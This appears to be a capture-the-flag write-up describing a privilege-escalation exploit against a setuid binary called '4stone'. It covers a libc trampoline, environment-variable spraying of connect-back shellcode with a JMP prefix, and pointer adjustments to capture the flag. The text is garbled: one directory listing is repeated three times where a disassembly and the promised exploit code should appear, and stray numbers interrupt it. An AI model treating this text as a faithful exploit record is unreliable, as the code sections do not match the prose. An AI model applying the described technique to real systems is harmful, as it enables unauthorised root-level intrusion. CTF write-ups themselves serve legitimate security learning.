$ ls -al /home/4stone/total36drwxr-xr-x2 4stone 4stone4096 2월20 05:02 .drwxr-xr-x7 root root4096 2월23 08:18 ..-rwsr-xr-x1 4stone 4stone9764 2월20 19:27 4stonelrwxrwxrwx1 root root9 2월19 21:14 .bash_history -> /dev/null-rw-r--r--1 4stone 4stone220 3월312013 .bash_logout-rw-r--r--1 4stone 4stone3637 3월312013 .bashrc-r--------1 4stone 4stone27 2월21 21:54 key-rw-r--r--1 4stone 4stone675 3월312013 .profile

2

Rather than jumping blindly into the stack, if I could find a trampoline that added at least0x100 toESP before returning, I could return directly to an environment variable. I briefly looked in the 4stone binary itself for such a trampoline to no avail…but since libc was no longer randomized, I knew I’d be able to find a suitable trampoline there.

In the epilogue of theposix_fallocate64_l64(), I found a perfect trampoline:

$ ls -al /home/4stone/total36drwxr-xr-x2 4stone 4stone4096 2월20 05:02 .drwxr-xr-x7 root root4096 2월23 08:18 ..-rwsr-xr-x1 4stone 4stone9764 2월20 19:27 4stonelrwxrwxrwx1 root root9 2월19 21:14 .bash_history -> /dev/null-rw-r--r--1 4stone 4stone220 3월312013 .bash_logout-rw-r--r--1 4stone 4stone3637 3월312013 .bashrc-r--------1 4stone 4stone27 2월21 21:54 key-rw-r--r--1 4stone 4stone675 3월312013 .profile

3

Alright, so now I just need to write the exploit. I grabbed some shellcode from shellstorm (connect back to port11111 - I kept it atlocalhost because we had the guest shell). I made dozens of environment variables with my shellcode and threw my exploit (locally).

….and it crashed…

Looking closer, it died trying to execute the string"LOL=" as code. I quickly changed all my environment variables to start with\xeb\x02, which is the opcode forJMP $+4, which jumped over the remainder of the environment variable key and equals sign to my shellcode. Alright! It worked locally! Now to try it on their servers!

…and it crashed…

After doing some debugging, it turns out their version of 13.10 was slightly different than mine. After updating the pointers to the TLS block and the trampoline, the exploit worked and I got the flag.

Flag: gARBAG3_hOL3_R4bB1T_R5BBIT

My exploit code follows (this uses the pointer values for my EC2 instance’slibc and TLS block):

$ ls -al /home/4stone/total36drwxr-xr-x2 4stone 4stone4096 2월20 05:02 .drwxr-xr-x7 root root4096 2월23 08:18 ..-rwsr-xr-x1 4stone 4stone9764 2월20 19:27 4stonelrwxrwxrwx1 root root9 2월19 21:14 .bash_history -> /dev/null-rw-r--r--1 4stone 4stone220 3월312013 .bash_logout-rw-r--r--1 4stone 4stone3637 3월312013 .bashrc-r--------1 4stone 4stone27 2월21 21:54 key-rw-r--r--1 4stone 4stone675 3월312013 .profile

4

Side Note: I used anOrderedDict because I was worried that my environment entries would get reordered. I’m not sure if it actually fixed anything.

This blog post was originally published on my CTF team’s GitHubhere.